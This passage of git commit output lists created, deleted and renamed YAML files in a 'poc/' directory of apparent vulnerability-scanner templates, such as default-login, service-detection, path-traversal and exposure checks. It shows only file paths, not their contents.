=> aspx-debug-mode.yaml} (100%) create mode 100644 poc/debug/browserless-debugger-794.yaml delete mode 100644 poc/debug/debug-enabled-6788.yaml create mode 100644 poc/debug/django-debug-exposure-7031.yaml delete mode 100644 poc/debug/laravel-debug-enabled.yaml delete mode 100644 poc/debug/php-debug-bar-9507.yaml create mode 100644 poc/debug/pyramid-debug-toolbar-9740.yaml delete mode 100644 poc/debug/rails-debug-mode-9806.yaml create mode 100644 poc/debug/rails-debug-mode-9807.yaml create mode 100644 poc/debug/struts-debug-mode-10560.yaml delete mode 100644 poc/debug/struts-debug-mode-10561.yaml create mode 100644 poc/debug/symfony-debugmode-10618.yaml delete mode 100644 poc/debug/symfony-debugmode-10620.yaml rename poc/debug/{wamp-xdebug-detect-11104.yaml => wamp-xdebug-detect-11103.yaml} (100%) create mode 100644 poc/debug/wordpress-debug-log-11256.yaml delete mode 100644 poc/debug/wordpress-debug-log-11259.yaml mode change 100755 => 100644 poc/debug/wp-debug-log.yaml create mode 100644 poc/debug/yii-debugger-11741.yaml create mode 100644 poc/default/3Com-wireless-default-login.yaml delete mode 100644 poc/default/Mantis-Default_login.yaml rename poc/default/{activemq-default-login-47.yaml => activemq-default-login-44.yaml} (100%) delete mode 100644 poc/default/aem-default-get-servlet-136.yaml create mode 100644 poc/default/aem-default-get-servlet-137.yaml create mode 100644 poc/default/aem-default-get-servlet-138.yaml rename poc/default/{aem-default-login-141.yaml => aem-default-login-140.yaml} (100%) delete mode 100644 poc/default/aem-default-login.yaml rename poc/default/{airflow-default-login.yaml => airflow-default-login-234.yaml} (100%) delete mode 100644 poc/default/airflow-default-login-235.yaml create mode 100644 poc/default/ambari-default-login-287.yaml delete mode 100644 poc/default/apollo-default-login-521.yaml create mode 100644 poc/default/arl-default-login-537.yaml delete mode 100644 poc/default/arl-default-login-539.yaml create mode 100644 poc/default/asus-rtn16-default-login.yaml create mode 100644 poc/default/asus-wl500g-default-login.yaml create mode 100644 poc/default/asus-wl520GU-default-login.yaml rename poc/default/{azkaban-default-login.yaml => azkaban-default-login-671.yaml} (100%) create mode 100644 poc/default/businessintelligence-default-login-817.yaml rename poc/default/{businessintelligence-default-login-816.yaml => businessintelligence-default-login.yaml} (100%) create mode 100644 poc/default/cambium-networks-default-login.yaml delete mode 100644 poc/default/canal-default-login-846.yaml create mode 100644 poc/default/canal-default-login-849.yaml delete mode 100644 poc/default/chinaunicom-default-login-906.yaml rename poc/default/{chinaunicom-default-login.yaml => chinaunicom-default-login-909.yaml} (100%) create mode 100644 poc/default/cobbler-default-login-1118.yaml delete mode 100644 poc/default/cobbler-default-login-1119.yaml create mode 100644 poc/default/default-apache-test-all-6815.yaml rename poc/default/{default-apache-test-all-6813.yaml => default-apache-test-all.yaml} (100%) delete mode 100644 poc/default/default-apache-test-page.yaml delete mode 100644 poc/default/default-apache2-ubuntu-page-6808.yaml rename poc/default/{default-codeigniter-page.yaml => default-codeigniter-page-6830.yaml} (100%) delete mode 100644 poc/default/default-detect-generic-6839.yaml delete mode 100644 poc/default/default-django-page-6841.yaml delete mode 100644 poc/default/default-fedora-page.yaml create mode 100644 poc/default/default-glassfish-server-page-6854.yaml delete mode 100644 poc/default/default-iis7-page.yaml create mode 100644 poc/default/default-jetty-page-6862.yaml create mode 100644 poc/default/default-jetty-page.yaml delete mode 100644 poc/default/default-lucee-page-6870.yaml delete mode 100644 poc/default/default-nginx-page-6881.yaml delete mode 100644 poc/default/default-openresty.yaml create mode 100644 poc/default/default-oracle-application-page-6891.yaml create mode 100644 poc/default/default-redhat-test-page-6902.yaml delete mode 100644 poc/default/default-ssltls-test-page-6908.yaml delete mode 100644 poc/default/default-ssltls-test-page.yaml create mode 100644 poc/default/default-tomcat-page-6910.yaml delete mode 100644 poc/default/default-tomcat-page-6911.yaml delete mode 100644 poc/default/dell-idrac-default-login-6942.yaml rename poc/default/{dell-idrac-default-login.yaml => dell-idrac-default-login-6945.yaml} (100%) delete mode 100644 poc/default/dell-idrac9-default-login-6932.yaml create mode 100644 poc/default/digital-watchdog-default-login.yaml delete mode 100644 poc/default/druid-default-login-7097.yaml create mode 100644 poc/default/dubbo-admin-default-login-7121.yaml rename poc/default/{dubbo-admin-default-login-7120.yaml => dubbo-admin-default-login.yaml} (100%) delete mode 100644 poc/default/dvwa-default-login-7129.yaml create mode 100644 poc/default/emcecom-default-login-7211.yaml create mode 100644 poc/default/emqx-default-login-7221.yaml create mode 100644 poc/default/flir-default-login.yaml create mode 100644 poc/default/frp-default-login-7559.yaml create mode 100644 poc/default/frp-default-login.yaml create mode 100644 poc/default/genieacs-default-jwt.yaml delete mode 100644 poc/default/glpi-default-login-7732.yaml delete mode 100644 poc/default/glpi-default-login.yaml create mode 100644 poc/default/gophish-default-login-7794.yaml delete mode 100644 poc/default/guacamole-default-login-7861.yaml create mode 100644 poc/default/guacamole-default-login.yaml create mode 100644 poc/default/hp-switch-default-login-8035.yaml delete mode 100644 poc/default/hp-switch-default-login-8036.yaml create mode 100755 poc/default/huawei-HG532e-default-login.yaml mode change 100755 => 100644 poc/default/huawei-HG532e-default-router-login.yaml delete mode 100644 poc/default/huawei-hg532e-default-router-login-8064.yaml create mode 100644 poc/default/ibm-mqseries-default-login-8107.yaml delete mode 100644 poc/default/ibm-mqseries-default-login.yaml create mode 100644 poc/default/idemia-biometrics-default-login-8138.yaml delete mode 100644 poc/default/inspur-clusterengine-default-login.yaml delete mode 100644 poc/default/iptime-default-login.yaml delete mode 100644 poc/default/jenkins-default-8272.yaml create mode 100644 poc/default/jinher-oa-default-login-8311.yaml delete mode 100644 poc/default/jinher-oa-default-login.yaml delete mode 100644 poc/default/jmx-default-login.yaml rename poc/default/{jupyterhub-default-login-8400.yaml => jupyterhub-default-login.yaml} (100%) create mode 100644 poc/default/kafka-center-default-login-8415.yaml create mode 100644 poc/default/lutron-iot-default-login-8675.yaml delete mode 100644 poc/default/lutron-iot-default-login-8678.yaml create mode 100644 poc/default/minio-default-login-8887.yaml create mode 100644 poc/default/mofi4500-default-login-8913.yaml create mode 100644 poc/default/mysql-default-login.yaml delete mode 100644 poc/default/nagios-default-login-8994.yaml delete mode 100644 poc/default/nagios-default-login.yaml delete mode 100644 poc/default/netsus-default-login-9058.yaml create mode 100644 poc/default/nexus-default-login-9088.yaml rename poc/default/{nps-default-login.yaml => nps-default-login-9144.yaml} (100%) delete mode 100644 poc/default/octobercms-default-login-9192.yaml create mode 100644 poc/default/octobercms-default-login-9193.yaml create mode 100644 poc/default/openemr-default-login.yaml create mode 100644 poc/default/operations-automation-default-page-9337.yaml delete mode 100644 poc/default/panabit-default-login-9440.yaml create mode 100644 poc/default/panabit-ixcache-default-login.yaml create mode 100644 poc/default/panos-default-login-9457.yaml create mode 100644 poc/default/panos-default-login.yaml create mode 100644 poc/default/pentaho-default-login.yaml create mode 100644 poc/default/pgsql-default-db.yaml create mode 100644 poc/default/rainloop-default-login-9813.yaml rename poc/default/{rancher-default-login-9815.yaml => rancher-default-login.yaml} (100%) delete mode 100644 poc/default/ranger-default-login-9827.yaml delete mode 100644 poc/default/rseenet-default-login-9913.yaml create mode 100644 poc/default/samsung-wlan-default-login-10018.yaml delete mode 100644 poc/default/secnet-ac-default-login.yaml delete mode 100644 poc/default/seeddms-default-login-10127.yaml create mode 100644 poc/default/seeddms-default-login.yaml delete mode 100644 poc/default/sequoiadb-default-login.yaml create mode 100644 poc/default/showdoc-default-login-10219.yaml create mode 100644 poc/default/showdoc-default-login.yaml delete mode 100644 poc/default/showdoc-default-password-10224.yaml create mode 100644 poc/default/smb-default-creds.yaml create mode 100644 poc/default/solarwinds-default-login-10355.yaml create mode 100644 poc/default/soplanning-default-login.yaml create mode 100644 poc/default/spectracom-default-login-10405.yaml create mode 100644 poc/default/structurizr-default-login.yaml create mode 100644 poc/default/supermicro-default-login.yaml create mode 100644 poc/default/szhe-default-login-10636.yaml create mode 100644 poc/default/timekeeper-default-login.yaml delete mode 100644 poc/default/ucmdb-default-login.yaml create mode 100644 poc/default/versa-default-login-11003.yaml create mode 100644 poc/default/vidyo-default-login-11009.yaml create mode 100644 poc/default/visionhub-default-login-11029.yaml create mode 100644 poc/default/visionhub-default-login.yaml create mode 100644 poc/default/wso2-default-login-11640.yaml delete mode 100644 poc/default/xampp-default-page.yaml delete mode 100644 poc/default/xxljob-default-login-11709.yaml create mode 100644 poc/default/xxljob-default-login.yaml delete mode 100644 poc/default/zabbix-default-login-11762.yaml rename poc/default/{zmanda-default-login-11826.yaml => zmanda-default-login.yaml} (100%) delete mode 100644 poc/detect/Biometric-detect.yaml create mode 100644 poc/detect/achecker-detect-27.yaml create mode 100644 poc/detect/adbhoney-honeypot-cnxn-detect.yaml create mode 100644 poc/detect/adbhoney-honeypot-shell-detect.yaml rename poc/detect/{adobe-coldfusion-detect.yaml => adobe-coldfusion-detect-83.yaml} (100%) rename poc/detect/{adobe-coldfusion-error-detect-86.yaml => adobe-coldfusion-error-detect.yaml} (100%) create mode 100644 poc/detect/aem-detection-145.yaml delete mode 100644 poc/detect/aem-detection-146.yaml create mode 100644 poc/detect/aix-websm-detect.yaml create mode 100644 poc/detect/alfresco-detect-258.yaml delete mode 100644 poc/detect/alfresco-detect-260.yaml create mode 100644 poc/detect/apache-axis-detect.yaml create mode 100644 poc/detect/apache-cocoon-detect-342.yaml delete mode 100644 poc/detect/apache-cocoon-detect.yaml create mode 100644 poc/detect/apache-dubbo-detect-351.yaml delete mode 100644 poc/detect/apache-dubbo-detect.yaml rename poc/detect/{artica-web-proxy-detect-543.yaml => artica-web-proxy-detect-545.yaml} (100%) delete mode 100644 poc/detect/artica-web-proxy-detect.yaml delete mode 100644 poc/detect/autobahn-python-detect-595.yaml create mode 100644 poc/detect/autobahn-python-detect.yaml create mode 100644 poc/detect/aws-elastic-beanstalk-detect.yaml create mode 100644 poc/detect/aws-sftp-detect.yaml create mode 100644 poc/detect/azure-takeover-detection-681.yaml delete mode 100644 poc/detect/bedita-detect-706.yaml create mode 100644 poc/detect/bigbluebutton-detect-723.yaml delete mode 100644 poc/detect/bigbluebutton-detect.yaml rename poc/detect/{bigip-config-utility-detect-733.yaml => bigip-config-utility-detect-730.yaml} (100%) create mode 100644 poc/detect/bimi-detect.yaml create mode 100644 poc/detect/bitvise-ssh-detect.yaml create mode 100644 poc/detect/bluecoat-telnet-proxy-detect.yaml rename poc/detect/{brother-printer-detect-789.yaml => brother-printer-detect-788.yaml} (100%) rename poc/detect/{burp-api-detect.yaml => burp-api-detect-812.yaml} (100%) delete mode 100644 poc/detect/carestream-vue-detect-861.yaml create mode 100644 poc/detect/celebrus-detect.yaml delete mode 100644 poc/detect/centreon-detect-875.yaml create mode 100644 poc/detect/cisco-implant-detect.yaml create mode 100644 poc/detect/citrix-honeypot-detect.yaml create mode 100644 poc/detect/clamav-detect.yaml create mode 100644 poc/detect/cname-service-detection-1032.yaml rename poc/detect/{cockpit-detect-1126.yaml => cockpit-detect-1127.yaml} (100%) delete mode 100644 poc/detect/compalex-panel-detect.yaml create mode 100644 poc/detect/confluence-detect-1186.yaml delete mode 100644 poc/detect/confluence-detect-1188.yaml create mode 100644 poc/detect/conpot-siemens-honeypot-detect.yaml delete mode 100644 poc/detect/contentkeeper-detect-1201.yaml create mode 100644 poc/detect/contentkeeper-detect-1203.yaml create mode 100644 poc/detect/cowrie-ssh-honeypot-detect.yaml rename poc/detect/{craft-cms-detect.yaml => craft-cms-detect-1247.yaml} (100%) create mode 100644 poc/detect/craftercms-detect.yaml delete mode 100644 poc/detect/crush-ftp-detect-1272.yaml rename poc/detect/{csrfguard-detect.yaml => csrfguard-detect-1290.yaml} (100%) delete mode 100644 poc/detect/csrfguard-detect-1291.yaml delete mode 100644 poc/detect/daybyday-detect-6772.yaml create mode 100644 poc/detect/defacement-detect.yaml delete mode 100644 poc/detect/default-detect-generic-6839.yaml create mode 100644 poc/detect/dell-idrac6-detect.yaml delete mode 100644 poc/detect/dell-idrac9-detect-6937.yaml delete mode 100644 poc/detect/dell-idrac9-detect-6939.yaml create mode 100644 poc/detect/detect-addpac-voip-gateway-6963.yaml delete mode 100644 poc/detect/detect-addpac-voip-gateway-6965.yaml create mode 100644 poc/detect/detect-addpac-voip-gateway.yaml create mode 100644 poc/detect/detect-dangling-cname.yaml delete mode 100644 poc/detect/detect-dns-over-https-6969.yaml delete mode 100644 poc/detect/detect-jabber-xmpp-6974.yaml create mode 100644 poc/detect/detect-rsyncd-6979.yaml delete mode 100644 poc/detect/detect-rsyncd-6980.yaml delete mode 100644 poc/detect/detect-rsyncd-6982.yaml rename poc/detect/{detect-sentry.yaml => detect-sentry-6983.yaml} (100%) delete mode 100644 poc/detect/detect-sentry-6985.yaml create mode 100644 poc/detect/dionaea-ftp-honeypot-detect.yaml create mode 100644 poc/detect/dionaea-http-honeypot-detect.yaml create mode 100644 poc/detect/dionaea-mqtt-honeypot-detect.yaml create mode 100644 poc/detect/dionaea-mysql-honeypot-detect.yaml create mode 100644 poc/detect/dionaea-smb-honeypot-detect.yaml delete mode 100644 poc/detect/dns-waf-detect-7054.yaml create mode 100644 poc/detect/dolibarr-detect-7069.yaml create mode 100644 poc/detect/ec2-detection-7162.yaml rename poc/detect/{ec2-detection-7163.yaml => ec2-detection.yaml} (100%) delete mode 100644 poc/detect/eg-manager-detect-7183.yaml rename poc/detect/{elasticsearch-sql-client-detect-7191.yaml => elasticsearch-sql-client-detect.yaml} (100%) delete mode 100644 poc/detect/elfinder-detect.yaml create mode 100644 poc/detect/epson-access-detect-7236.yaml delete mode 100644 poc/detect/epson-web-control-detect.yaml create mode 100644 poc/detect/erxes-detect.yaml rename poc/detect/{fanruanoa-detect-7392.yaml => fanruanoa-detect.yaml} (100%) delete mode 100644 poc/detect/fatpipe-mpvpn-detect-7437.yaml create mode 100644 poc/detect/fatpipe-warp-detect-7439.yaml delete mode 100644 poc/detect/favicon-detection-7441.yaml delete mode 100644 poc/detect/favicon-detection-7444.yaml create mode 100644 poc/detect/favicon-detection-7446.yaml create mode 100644 poc/detect/finger-detect.yaml rename poc/detect/{firebase-detect-7494.yaml => firebase-detect-7495.yaml} (100%) create mode 100644 poc/detect/firebase-detect-7496.yaml create mode 100644 poc/detect/form-detection.yaml create mode 100644 poc/detect/gaspot-honeypot-detect.yaml create mode 100644 poc/detect/getsimple-cms-detect.yaml delete mode 100644 poc/detect/gitbook-detect.yaml create mode 100644 poc/detect/gnu-inetutils-ftpd-detect.yaml create mode 100644 poc/detect/gopher-detect.yaml delete mode 100644 poc/detect/grafana-detect-7809.yaml create mode 100644 poc/detect/graphql-detect-7829.yaml delete mode 100644 poc/detect/grav-cms-detect-7843.yaml delete mode 100644 poc/detect/grav-cms-detect-7844.yaml delete mode 100644 poc/detect/hanwang-detect.yaml create mode 100644 poc/detect/harbor-detect.yaml delete mode 100644 poc/detect/herokuapp-detect-7938.yaml create mode 100644 poc/detect/hikvision-detect.yaml rename poc/detect/{hp-blade-admin-detect-8005.yaml => hp-blade-admin-detect.yaml} (100%) create mode 100644 poc/detect/hp-device-info-detect-8009.yaml delete mode 100644 poc/detect/hp-device-info-detect-8010.yaml create mode 100644 poc/detect/hp-media-vault-detect-8031.yaml delete mode 100644 poc/detect/hp-media-vault-detect.yaml delete mode 100644 poc/detect/ilo-detect-8156.yaml rename poc/detect/{ilo-detect-8154.yaml => ilo-detect.yaml} (100%) create mode 100644 poc/detect/imap-detect.yaml create mode 100644 poc/detect/jaspersoft-detect-8220.yaml delete mode 100644 poc/detect/java-rmi-detect-8227.yaml create mode 100644 poc/detect/java-rmi-detect.yaml create mode 100644 poc/detect/jboss-detect-8237.yaml delete mode 100644 poc/detect/jboss-detect.yaml create mode 100644 poc/detect/jeecg-boot-detect-8248.yaml delete mode 100644 poc/detect/jeecg-boot-detect.yaml delete mode 100644 poc/detect/jeedom-detect-8249.yaml create mode 100644 poc/detect/jeedom-detect-8251.yaml create mode 100644 poc/detect/jellyfin-detect-8257.yaml delete mode 100644 poc/detect/jellyfin-detect-8259.yaml delete mode 100644 poc/detect/jira-detect-8316.yaml delete mode 100644 poc/detect/kevinlab-device-detect.yaml create mode 100644 poc/detect/kibana-detect-8483.yaml delete mode 100644 poc/detect/kibana-detect-8484.yaml delete mode 100644 poc/detect/kong-detect-8499.yaml create mode 100644 poc/detect/leostream-detection.yml create mode 100644 poc/detect/liferay-portal-detect-8626.yaml create mode 100644 poc/detect/linkerd-badrule-detect-8629.yaml create mode 100644 poc/detect/linkerd-service-detect-8634.yaml rename poc/detect/{lucee-detect-8661.yaml => lucee-detect-8659.yaml} (100%) delete mode 100644 poc/detect/magento-detect-8704.yaml create mode 100644 poc/detect/magento-detect-8707.yaml delete mode 100644 poc/detect/magmi-detect-8715.yaml create mode 100644 poc/detect/maian-cart-detect-8719.yaml delete mode 100644 poc/detect/maian-cart-detect.yaml create mode 100644 poc/detect/mailoney-honeypot-detect.yaml create mode 100644 poc/detect/meilisearch-detect.yaml create mode 100644 poc/detect/microsoft-exchange-server-detect-8851.yaml delete mode 100644 poc/detect/microweber-detect-8863.yaml create mode 100644 poc/detect/microweber-detect.yaml create mode 100644 poc/detect/mikrotik-ftp-server-detect.yaml create mode 100644 poc/detect/minio-console-detect-8884.yaml create mode 100644 poc/detect/moinmoin-detect-8916.yaml create mode 100644 poc/detect/moinmoin-detect.yaml create mode 100644 poc/detect/mongodb-detect-8920.yaml create mode 100644 poc/detect/mongodb-detect.yaml create mode 100644 poc/detect/monstracms-detect.yaml delete mode 100644 poc/detect/moveit-detect.yaml create mode 100644 poc/detect/moveit-sftp-detect.yaml create mode 100644 poc/detect/moveit-transfer-detect.yaml create mode 100644 poc/detect/msmq-detect.yaml create mode 100644 poc/detect/mx-service-detector-8974.yaml create mode 100644 poc/detect/mysql-detect.yaml create mode 100644 poc/detect/nextcloud-detect-9080.yaml delete mode 100644 poc/detect/nextcloud-detect.yaml create mode 100644 poc/detect/oauth2-detect.yaml create mode 100644 poc/detect/oidc-detect-9217.yaml delete mode 100644 poc/detect/oidc-detect.yaml delete mode 100644 poc/detect/oipm-detect-9221.yaml create mode 100644 poc/detect/oipm-detect-9222.yaml rename poc/detect/{olivetti-crf-detect.yaml => olivetti-crf-detect-9243.yaml} (100%) delete mode 100644 poc/detect/olivetti-crf-detect-9244.yaml create mode 100644 poc/detect/open-virtualization-manager-detect-9326.yaml rename poc/detect/{opencast-detect-9263.yaml => opencast-detect.yaml} (100%) delete mode 100644 poc/detect/opensis-detect-9314.yaml create mode 100644 poc/detect/openssh-detect.yaml create mode 100644 poc/detect/oracle-dbass-detect.yaml rename poc/detect/{owasp-juice-shop-detected.yaml => owasp-juice-shop-detected-9418.yaml} (100%) create mode 100644 poc/detect/pega-detect.yaml create mode 100644 poc/detect/pgsql-version-detect.yaml delete mode 100644 poc/detect/phpcollab-detect-9501.yaml create mode 100644 poc/detect/pi-hole-detect-9581.yaml delete mode 100644 poc/detect/pi-hole-detect-9582.yaml create mode 100644 poc/detect/piwigo-detect.yaml delete mode 100644 poc/detect/plone-cms-detect.yaml create mode 100644 poc/detect/pop3-detect.yaml create mode 100644 poc/detect/privatebin-detect.yaml create mode 100644 poc/detect/proftpd-server-detect.yaml delete mode 100644 poc/detect/prometheus-exporter-detect-9674.yaml create mode 100644 poc/detect/prometheus-exporter-detect-9676.yaml delete mode 100644 poc/detect/prtg-detect-9706.yaml delete mode 100644 poc/detect/puppet-node-manager-detect-9720.yaml create mode 100644 poc/detect/puppet-node-manager-detect.yaml delete mode 100644 poc/detect/puppetdb-detect-9717.yaml create mode 100644 poc/detect/puppetserver-detect-9722.yaml create mode 100644 poc/detect/rabbitmq-detect.yaml create mode 100644 poc/detect/rdp-detect-9839.yaml delete mode 100644 poc/detect/rdp-detect-9840.yaml create mode 100644 poc/detect/rdp-detect.yaml create mode 100644 poc/detect/redash-detection.yml rename poc/detect/{redcap-detector-9849.yaml => redcap-detector-9850.yaml} (100%) create mode 100644 poc/detect/redcap-detector.yaml delete mode 100644 poc/detect/redmine-cli-detect-9853.yaml delete mode 100644 poc/detect/rhymix-cms-detect-9877.yaml create mode 100644 poc/detect/rhymix-cms-detect-9878.yaml create mode 100644 poc/detect/rpcbind-portmapper-detect.yaml delete mode 100644 poc/detect/rseenet-detect-9916.yaml create mode 100644 poc/detect/rseenet-detect.yaml create mode 100644 poc/detect/rsyncd-service-detect.yaml create mode 100644 poc/detect/rtsp-detect.yaml create mode 100644 poc/detect/sage-detect-9977.yaml create mode 100644 poc/detect/samba-detect-9989.yaml delete mode 100644 poc/detect/samba-detect-9990.yaml create mode 100644 poc/detect/sap-netweaver-detect-10044.yaml delete mode 100644 poc/detect/sap-netweaver-detect-10047.yaml create mode 100644 poc/detect/sceditor-detect-10094.yaml delete mode 100644 poc/detect/sceditor-detect.yaml rename poc/detect/{seeddms-detect-10129.yaml => seeddms-detect-10131.yaml} (100%) delete mode 100644 poc/detect/shiro-detect-10196.yaml delete mode 100644 poc/detect/shopware-detect-10211.yaml create mode 100644 poc/detect/simplesamlphp-detect.yaml create mode 100644 poc/detect/smb-os-detect.yaml create mode 100644 poc/detect/smb-version-detect.yaml create mode 100644 poc/detect/snare-honeypot-detect.yaml rename poc/detect/{solarwinds-servuftp-detect-10360.yaml => solarwinds-servuftp-detect-10362.yaml} (100%) create mode 100644 poc/detect/sparklighter-detect.yaml create mode 100644 poc/detect/sshd-dropbear-detect.yaml create mode 100644 poc/detect/teamspeak3-detect.yaml delete mode 100644 poc/detect/tech-detect-10675.yaml delete mode 100644 poc/detect/telerik-dialoghandler-detect-10687.yaml delete mode 100644 poc/detect/telerik-dialoghandler-detect-10689.yaml create mode 100644 poc/detect/telnet-detect.yaml delete mode 100644 poc/detect/terraform-detect-10708.yaml create mode 100644 poc/detect/tftp-detect.yaml create mode 100644 poc/detect/thinkcmf-detection-10717.yaml create mode 100644 poc/detect/thinkcmf-detection-10719.yaml create mode 100644 poc/detect/tpot-honeypot-detect.yaml rename poc/detect/{trace-axd-detect-10825.yaml => trace-axd-detect-10826.yaml} (100%) create mode 100644 poc/detect/vmware-authentication-daemon-detect.yaml create mode 100644 poc/detect/vnc-detect-11061.yaml delete mode 100644 poc/detect/vnc-detect-11062.yaml create mode 100644 poc/detect/vnc-service-detect.yaml rename poc/detect/{waf-detect-11086.yaml => waf-detect.yaml} (100%) rename poc/detect/{wamp-xdebug-detect-11104.yaml => wamp-xdebug-detect-11103.yaml} (100%) delete mode 100644 poc/detect/web-ftp-detect-11136.yaml create mode 100644 poc/detect/weblogic-detect-11143.yaml rename poc/detect/{weblogic-t3-detect-11151.yaml => weblogic-t3-detect-11153.yaml} (100%) create mode 100644 poc/detect/wing-ftp-detect.yaml create mode 100644 poc/detect/wondercms-detect-11223.yaml create mode 100644 poc/detect/wondercms-detect.yaml delete mode 100644 poc/detect/wordpress-gotmls-detect-11280.yaml create mode 100644 poc/detect/worksites-detection.yaml create mode 100644 poc/detect/wso2-apimanager-detect-11638.yaml create mode 100644 poc/detect/xlight-ftp-service-detect.yaml delete mode 100644 poc/detect/yapi-detect-11721.yaml create mode 100644 poc/detect/yapi-detect.yaml create mode 100644 poc/detect/zm-system-log-detect-11833.yaml delete mode 100644 poc/detect/zm-system-log-detect-11834.yaml delete mode 100644 poc/directory_listing/carel-bacnet-gateway-traversal-858.yaml create mode 100644 poc/directory_listing/carel-bacnet-gateway-traversal.yaml create mode 100644 poc/directory_listing/digitalrebar-traversal.yaml delete mode 100644 poc/directory_listing/ecology-filedownload-directory-traversal.yaml rename poc/directory_listing/{ecology-springframework-directory-traversal-7175.yaml => ecology-springframework-directory-traversal-7174.yaml} (100%) create mode 100644 poc/directory_listing/ecology-springframework-directory-traversal.yaml create mode 100644 poc/directory_listing/flir-path-traversal-7521.yaml delete mode 100644 poc/directory_listing/kingdee-eas-directory-traversal.yaml create mode 100644 poc/directory_listing/natshell-path-traversal-9006.yaml create mode 100644 poc/directory_listing/natshell-path-traversal.yaml create mode 100644 poc/directory_listing/nginx-merge-slashes-path-traversal-9105.yaml delete mode 100644 poc/directory_listing/nginx-merge-slashes-path-traversal.yaml delete mode 100644 poc/directory_listing/oa-tongda-path-traversal-9178.yaml create mode 100644 poc/directory_listing/tpshop-directory-traversal-10822.yaml delete mode 100644 poc/directory_listing/wooyun-path-traversal-11229.yaml rename poc/directory_listing/{wooyun-path-traversal.yaml => wooyun-path-traversal-11232.yaml} (100%) create mode 100644 poc/docker/amazon-docker-config-280.yaml delete mode 100644 poc/docker/amazon-docker-config-disclosure-278.yaml delete mode 100644 poc/docker/amazon-docker-config.yaml create mode 100644 poc/docker/aws-ecs-container-agent-tasks-641.yaml create mode 100644 poc/docker/docker-compose-config-7059.yaml delete mode 100644 poc/docker/dockercfg-config.yaml create mode 100644 poc/docker/dockerfile-hidden-disclosure-7061.yaml create mode 100644 poc/docker/exposed-dockerd.yaml create mode 100644 poc/docker/kubernetes-enterprise-manager-8528.yaml delete mode 100644 poc/docker/kubernetes-enterprise-manager-8529.yaml create mode 100644 poc/docker/kubernetes-mirantis-8540.yaml create mode 100644 poc/docker/kubernetes-pods-8543.yaml create mode 100644 poc/docker/kubernetes-pods-8545.yaml rename poc/docker/{kubernetes-unauth(1).yaml => kubernetes-unauth.yaml} (100%) delete mode 100644 poc/docker/kubernetes-version-8551.yaml rename poc/docker/{kubernetes-version.yaml => kubernetes-version-8552.yaml} (100%) rename poc/docker/{misconfigured-docker-8900.yaml => misconfigured-docker-8902.yaml} (100%) create mode 100644 poc/drupal/drupal-install-7107.yaml create mode 100644 poc/drupal/drupal-jsonapi-user-listing.yaml create mode 100644 poc/drupal/drupal-user-enum-ajax.yaml delete mode 100644 poc/drupal/drupal-user-enum-redirect-7114.yaml delete mode 100644 poc/drupal/drupal-user-enum-redirect-7115.yaml delete mode 100644 poc/elk/elasticsearch-7193.yaml create mode 100644 poc/elk/elasticsearch-7194.yaml rename poc/elk/{elasticsearch-sql-client-detect-7191.yaml => elasticsearch-sql-client-detect.yaml} (100%) create mode 100644 poc/elk/exposed-kibana-7320.yaml create mode 100644 poc/elk/kibana-detect-8483.yaml delete mode 100644 poc/elk/kibana-detect-8484.yaml create mode 100644 poc/elk/kibana-panel-8486.yaml create mode 100644 poc/exposed/active-admin-exposure-39.yaml delete mode 100644 poc/exposed/active-admin-exposure-43.yaml delete mode 100644 poc/exposed/adobe-connect-username-exposure-100.yaml delete mode 100644 poc/exposed/amazon-docker-config-disclosure-278.yaml rename poc/exposed/{android-debug-database-exposed-316.yaml => android-debug-database-exposed-312.yaml} (100%) create mode 100644 poc/exposed/ansible-config-disclosure-326.yaml delete mode 100644 poc/exposed/ansible-config-disclosure.yaml create mode 100644 poc/exposed/ansible-tower-exposure-331.yaml delete mode 100644 poc/exposed/ansible-tower-exposure-332.yaml create mode 100644 poc/exposed/appspec-yml-disclosure-529.yaml rename poc/exposed/{appspec-yml-disclosure-528.yaml => appspec-yml-disclosure.yaml} (100%) create mode 100644 poc/exposed/avtech-dvr-exposure-616.yaml create mode 100644 poc/exposed/axiom-digitalocean-key-exposure-666.yaml delete mode 100644 poc/exposed/beward-ipcamera-disclosure-717.yaml create mode 100644 poc/exposed/caucho-resin-info-disclosure-871.yaml rename poc/exposed/{caucho-resin-info-disclosure-872.yaml => caucho-resin-info-disclosure.yaml} (100%) delete mode 100644 poc/exposed/cisco-meraki-exposure-944.yaml create mode 100644 poc/exposed/cisco-meraki-exposure-946.yaml delete mode 100644 poc/exposed/clockwork-dashboard-exposure-1014.yaml delete mode 100644 poc/exposed/coremail-config-disclosure-1214.yaml create mode 100644 poc/exposed/coremail-config-disclosure-1216.yaml create mode 100644 poc/exposed/credential-exposure-1249.yaml create mode 100644 poc/exposed/credentials-disclosure-1255.yaml delete mode 100644 poc/exposed/credentials-disclosure-1256.yaml create mode 100644 poc/exposed/django-debug-exposure-7031.yaml create mode 100644 poc/exposed/dockerfile-hidden-disclosure-7061.yaml create mode 100644 poc/exposed/dwsync-exposure.yaml create mode 100644 poc/exposed/exposed-adb-7282.yaml create mode 100644 poc/exposed/exposed-adb.yaml create mode 100644 poc/exposed/exposed-alps-spring-7283.yaml delete mode 100644 poc/exposed/exposed-bitkeeper-7292.yaml delete mode 100644 poc/exposed/exposed-darcs-7297.yaml create mode 100644 poc/exposed/exposed-dockerd.yaml delete mode 100644 poc/exposed/exposed-glances-api-7309.yaml create mode 100644 poc/exposed/exposed-hg-7312.yaml create mode 100644 poc/exposed/exposed-jquery-file-upload-7313.yaml create mode 100644 poc/exposed/exposed-jquery-file-upload.yaml create mode 100644 poc/exposed/exposed-kibana-7320.yaml rename poc/exposed/{exposed-mysql-initial.yaml => exposed-mysql-initial-7322.yaml} (100%) create mode 100644 poc/exposed/exposed-nomad-7328.yaml delete mode 100644 poc/exposed/exposed-service-now-7342.yaml delete mode 100644 poc/exposed/exposed-sharepoint-list-7345.yaml delete mode 100644 poc/exposed/exposed-springboot.yaml create mode 100644 poc/exposed/exposed-sqlite-manager-7350.yaml delete mode 100644 poc/exposed/exposed-svn-7353.yaml delete mode 100644 poc/exposed/exposed-swagger.yaml delete mode 100644 poc/exposed/exposed-webalizer-7358.yaml create mode 100644 poc/exposed/exposed-webalizer-7360.yaml create mode 100644 poc/exposed/exposed-zookeeper-7365.yaml create mode 100644 poc/exposed/exposed-zookeeper.yaml create mode 100644 poc/exposed/fanruanoa2012-disclosure.yaml delete mode 100644 poc/exposed/flink-exposure-7509.yaml create mode 100644 poc/exposed/flink-exposure-7511.yaml create mode 100644 poc/exposed/git-credentials-disclosure-7641.yaml create mode 100644 poc/exposed/github-workflows-disclosure-7664.yaml delete mode 100644 poc/exposed/github-workflows-disclosure-7666.yaml delete mode 100644 